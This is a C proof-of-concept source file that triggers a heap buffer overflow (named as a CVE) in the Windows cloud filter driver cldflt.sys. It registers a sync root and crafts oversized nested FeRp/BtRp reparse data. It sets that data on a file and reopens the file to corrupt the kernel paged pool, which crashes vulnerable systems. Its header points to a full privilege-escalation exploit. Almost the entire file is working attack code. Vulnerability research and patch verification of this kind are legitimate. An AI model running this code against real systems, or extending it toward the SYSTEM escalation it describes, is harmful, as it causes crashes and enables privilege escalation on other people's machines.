/*
 * poc_cve_2024_30085.c — Trigger PoC for CVE-2024-30085
 *
 * Heap-based buffer overflow in cldflt.sys HsmIBitmapNORMALOpen.
 * Registers a cloud sync root, creates a file with oversized BtRp
 * reparse data (>0x1000 bytes), then reopens the file to trigger
 * the overflow in paged pool.
 *
 * Expected result on vulnerable systems: BSOD (pool corruption).
 * On patched systems: CreateFile returns an error or the reparse
 * data is rejected.
 *
 * Build: cl /nologo /W4 poc_cve_2024_30085.c /link ole32.lib cldapi.lib
 * Run:   poc_cve_2024_30085.exe [-v]
 *
 * NOTE: This is a TRIGGER PoC only — it demonstrates the overflow
 * but does not implement the full EoP chain. For the full exploit,
 * see: https://github.com/star-sg/CVE/tree/master/CVE-2024-30085
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-26
 */

#define POC_CVE    "CVE-2024-30085"
#define POC_BINARY L"cldflt.sys"

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <cfapi.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "version.lib")
#pragma comment(lib, "advapi32.lib")

static int g_verbose = 0;

/* ──────────────────────────────────────────────────────────────
 *  Reparse data structures for cloud filter
 * ────────────────────────────────────────────────────────────── */

#define IO_REPARSE_TAG_CLOUD_6  0x9000601A

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO;

/* Element type constants */
#define HSM_ELEM_BYTE    0x07
#define HSM_ELEM_UINT32  0x0A
#define HSM_ELEM_UINT64  0x06
#define HSM_ELEM_BITMAP  0x11

typedef struct _HSM_DATA {
    ULONG  Magic;
    ULONG  Crc32;
    ULONG  Length;
    USHORT Flags;
    USHORT NumberOfElements;
    /* HSM_ELEMENT_INFO Elements[]; */
    /* element data follows */
} HSM_DATA;

typedef struct _HSM_REPARSE_DATA {
    USHORT Flags;
    USHORT Length;
    /* HSM_DATA FileData follows */
} HSM_REPARSE_DATA;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG  Flags;          /* REPARSE_DATA_EX_FLAG_GIVEN_TAG_OR_NONE = 1 */
    ULONG  ExistingReparseTag;
    GUID   ExistingReparseGuid;
    /* Standard reparse header */
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    UCHAR  DataBuffer[1];
} REPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

#define FSCTL_SET_REPARSE_POINT_EX  0x000900D0

/* ──────────────────────────────────────────────────────────────
 *  Build malicious reparse data with oversized BtRp
 * ────────────────────────────────────────────────────────────── */

static DWORD BuildReparseData(BYTE **ppBuf, DWORD *pBufSize)
{
    /*
     * We build a FeRp with a nested BtRp whose element 4 (BITMAP)
     * data exceeds 0x1000 bytes. This is the data that gets memcpy'd
     * into the 0x1000 HsBm allocation, causing the overflow.
     *
     * Overflow size: 0x1010 - 0x1000 = 0x10 bytes past allocation.
     * (Enough to corrupt adjacent pool chunk header/data)
     */

    const DWORD OVERFLOW_SIZE = 0x1010;  /* Total data to copy */
    const DWORD BTRP_HDR_SIZE = sizeof(HSM_DATA) + 5 * sizeof(HSM_ELEMENT_INFO);

    /* Calculate sizes */
    DWORD btrpDataSize = OVERFLOW_SIZE;
    DWORD btrpTotalSize = BTRP_HDR_SIZE + btrpDataSize;

    /* FeRp needs 5 elements, with element 4 being the BtRp blob */
    DWORD ferpHdrSize = sizeof(HSM_DATA) + 5 * sizeof(HSM_ELEMENT_INFO);
    DWORD ferpDataSize = 1 + 4 + 8 + 0 + btrpTotalSize;  /* elem0-3 data + BtRp */
    DWORD ferpTotalSize = ferpHdrSize + ferpDataSize;

    /* HSM_REPARSE_DATA wrapper */
    DWORD hsmRpSize = sizeof(HSM_REPARSE_DATA) + ferpTotalSize;

    /* REPARSE_DATA_BUFFER_EX wrapper */
    DWORD rpBufExSize = offsetof(REPARSE_DATA_BUFFER_EX, DataBuffer) + hsmRpSize;

    BYTE *buf = (BYTE *)calloc(1, rpBufExSize);
    if (!buf) return ERROR_NOT_ENOUGH_MEMORY;

    REPARSE_DATA_BUFFER_EX *rpEx = (REPARSE_DATA_BUFFER_EX *)buf;
    rpEx->Flags = 1;  /* REPARSE_DATA_EX_FLAG_GIVEN_TAG_OR_NONE */
    rpEx->ExistingReparseTag = 0;
    memset(&rpEx->ExistingReparseGuid, 0, sizeof(GUID));
    rpEx->ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rpEx->ReparseDataLength = (USHORT)(hsmRpSize);
    rpEx->Reserved = 0;

    /* HSM_REPARSE_DATA */
    HSM_REPARSE_DATA *hsmRp = (HSM_REPARSE_DATA *)rpEx->DataBuffer;
    hsmRp->Flags = 0x0001;  /* Uncompressed */
    hsmRp->Length = (USHORT)(sizeof(HSM_REPARSE_DATA) + ferpTotalSize);

    /* FeRp HSM_DATA */
    HSM_DATA *ferp = (HSM_DATA *)((BYTE *)hsmRp + sizeof(HSM_REPARSE_DATA));
    ferp->Magic = 0x70526546;  /* "FeRp" */
    ferp->Crc32 = 0;
    ferp->Length = ferpTotalSize;
    ferp->Flags = 0;  /* No CRC */
    ferp->NumberOfElements = 5;

    /* FeRp element info array */
    HSM_ELEMENT_INFO *ferpElems = (HSM_ELEMENT_INFO *)((BYTE *)ferp + sizeof(HSM_DATA));
    DWORD dataOffset = ferpHdrSize;

    /* Element 0: BYTE */
    ferpElems[0].Type = HSM_ELEM_BYTE;
    ferpElems[0].Length = 1;
    ferpElems[0].Offset = dataOffset;
    *((BYTE *)ferp + dataOffset) = 0x01;
    dataOffset += 1;

    /* Element 1: UINT32 */
    ferpElems[1].Type = HSM_ELEM_UINT32;
    ferpElems[1].Length = 4;
    ferpElems[1].Offset = dataOffset;
    *((DWORD *)((BYTE *)ferp + dataOffset)) = 0;
    dataOffset += 4;

    /* Element 2: UINT64 */
    ferpElems[2].Type = HSM_ELEM_UINT64;
    ferpElems[2].Length = 8;
    ferpElems[2].Offset = dataOffset;
    *((ULONGLONG *)((BYTE *)ferp + dataOffset)) = 0;
    dataOffset += 8;

    /* Element 3: padding (BYTE, zero-length is ok for some checks) */
    ferpElems[3].Type = HSM_ELEM_BYTE;
    ferpElems[3].Length = 0;
    ferpElems[3].Offset = dataOffset;

    /* Element 4: BITMAP -> nested BtRp */
    ferpElems[4].Type = HSM_ELEM_BITMAP;
    ferpElems[4].Length = (USHORT)btrpTotalSize;
    ferpElems[4].Offset = dataOffset;

    /* BtRp HSM_DATA */
    HSM_DATA *btrp = (HSM_DATA *)((BYTE *)ferp + dataOffset);
    btrp->Magic = 0x70527442;  /* "BtRp" */
    btrp->Crc32 = 0;
    btrp->Length = btrpTotalSize;
    btrp->Flags = 0;
    btrp->NumberOfElements = 5;

    HSM_ELEMENT_INFO *btrpElems = (HSM_ELEMENT_INFO *)((BYTE *)btrp + sizeof(HSM_DATA));
    DWORD btrpDataOff = BTRP_HDR_SIZE;

    /* BtRp Element 0: BYTE */
    btrpElems[0].Type = HSM_ELEM_BYTE;
    btrpElems[0].Length = 1;
    btrpElems[0].Offset = btrpDataOff;
    *((BYTE *)btrp + btrpDataOff) = 0x00;
    btrpDataOff += 1;

    /* BtRp Element 1: BYTE (must be 0x01) */
    btrpElems[1].Type = HSM_ELEM_BYTE;
    btrpElems[1].Length = 1;
    btrpElems[1].Offset = btrpDataOff;
    *((BYTE *)btrp + btrpDataOff) = 0x01;
    btrpDataOff += 1;

    /* BtRp Element 2: BYTE */
    btrpElems[2].Type = HSM_ELEM_BYTE;
    btrpElems[2].Length = 1;
    btrpElems[2].Offset = btrpDataOff;
    *((BYTE *)btrp + btrpDataOff) = 0x00;
    btrpDataOff += 1;

    /* BtRp Element 3: UINT64 */
    btrpElems[3].Type = HSM_ELEM_UINT64;
    btrpElems[3].Length = 8;
    btrpElems[3].Offset = btrpDataOff;
    *((ULONGLONG *)((BYTE *)btrp + btrpDataOff)) = 0;
    btrpDataOff += 8;

    /* BtRp Element 4: BITMAP (the overflow payload) */
    btrpElems[4].Type = HSM_ELEM_BITMAP;
    btrpElems[4].Length = (USHORT)(btrpDataSize - btrpDataOff + BTRP_HDR_SIZE);
    btrpElems[4].Offset = btrpDataOff;

    /* Fill overflow payload with 0x41 */
    DWORD payloadSize = btrpDataSize - (btrpDataOff - BTRP_HDR_SIZE);
    memset((BYTE *)btrp + btrpDataOff, 0x41, payloadSize);

    *ppBuf = buf;
    *pBufSize = rpBufExSize;
    return ERROR_SUCCESS;
}

/* ──────────────────────────────────────────────────────────────
 *  Main
 * ────────────────────────────────────────────────────────────── */

int wmain(int argc, wchar_t *argv[])
{
    HRESULT hr;
    HANDLE hFile;
    DWORD dwRet;
    BYTE *rpBuf = NULL;
    DWORD rpBufSize = 0;

    wprintf(L"=== PoC: %S ===\n", POC_CVE);
    wprintf(L"Binary: %s\n", POC_BINARY);
    wprintf(L"Bug:    Heap buffer overflow in HsmIBitmapNORMALOpen\n");
    wprintf(L"Impact: Paged pool corruption -> EoP to SYSTEM\n\n");

    if (argc > 1 && wcscmp(argv[1], L"-v") == 0)
        g_verbose = 1;

    /* Step 1: Create sync root directory */
    wchar_t syncRoot[MAX_PATH];
    wchar_t tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wsprintfW(syncRoot, L"%spoc_30085_sync", tempPath);

    CreateDirectoryW(syncRoot, NULL);
    wprintf(L"[1] Sync root: %s\n", syncRoot);

    /* Step 2: Register sync root */
    CF_SYNC_REGISTRATION cfReg = { sizeof(CF_SYNC_REGISTRATION) };
    cfReg.ProviderName = L"PoC30085";
    cfReg.ProviderVersion = L"1.0";
    GUID provId = { 0xf4d808a4, 0xa493, 0x4703,
                    { 0xa8, 0xb8, 0xe2, 0x6a, 0x07, 0x7a, 0xd7, 0x3b } };
    cfReg.ProviderId = provId;

    CF_SYNC_POLICIES cfPol = { sizeof(CF_SYNC_POLICIES) };
    cfPol.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    cfPol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    cfPol.InSync = CF_INSYNC_POLICY_NONE;
    cfPol.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    cfPol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(syncRoot, &cfReg, &cfPol,
                            CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (FAILED(hr)) {
        wprintf(L"[-] CfRegisterSyncRoot failed: 0x%08X\n", hr);
        wprintf(L"    (cldflt.sys may not be loaded — cloud filter not available)\n");
        return 1;
    }
    wprintf(L"[2] CfRegisterSyncRoot OK\n");

    /* Step 3: Create target file */
    wchar_t filePath[MAX_PATH];
    wsprintfW(filePath, L"%s\\trigger", syncRoot);

    hFile = CreateFileW(filePath, GENERIC_ALL,
                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] CreateFile (create) failed: %d\n", GetLastError());
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[3] Created trigger file\n");

    /* Step 4: Build and set reparse data */
    dwRet = BuildReparseData(&rpBuf, &rpBufSize);
    if (dwRet != ERROR_SUCCESS) {
        wprintf(L"[-] BuildReparseData failed: %d\n", dwRet);
        CloseHandle(hFile);
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[4] Built reparse data: %d bytes (overflow: 0x10 past 0x1000)\n", rpBufSize);

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX,
                              rpBuf, rpBufSize,
                              NULL, 0, &bytesReturned, NULL);
    CloseHandle(hFile);

    if (!ok) {
        DWORD err = GetLastError();
        wprintf(L"[-] FSCTL_SET_REPARSE_POINT_EX failed: %d\n", err);
        if (err == ERROR_INVALID_PARAMETER) {
            wprintf(L"    System may be patched (reparse data rejected)\n");
        }
        free(rpBuf);
        CfUnregisterSyncRoot(syncRoot);
        return 1;
    }
    wprintf(L"[5] Reparse point set successfully\n");
    free(rpBuf);

    /* Step 5: Reopen file to trigger overflow */
    wprintf(L"\n[!] WARNING: Next step triggers the overflow.\n");
    wprintf(L"    On vulnerable systems this will BSOD.\n");
    wprintf(L"    On patched systems the open should fail or be harmless.\n\n");
    wprintf(L"[6] Reopening file to trigger HsmIBitmapNORMALOpen...\n");

    hFile = CreateFileW(filePath, GENERIC_ALL,
                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        wprintf(L"    CreateFile (reopen) failed: %d — may be patched\n", GetLastError());
    } else {
        wprintf(L"    File reopened (handle: %p) — overflow may have occurred\n", hFile);
        CloseHandle(hFile);
    }

    /* Cleanup */
    DeleteFileW(filePath);
    RemoveDirectoryW(syncRoot);
    CfUnregisterSyncRoot(syncRoot);

    wprintf(L"\n[+] If you reached here without BSOD, the system is likely patched.\n");
    return 0;
}
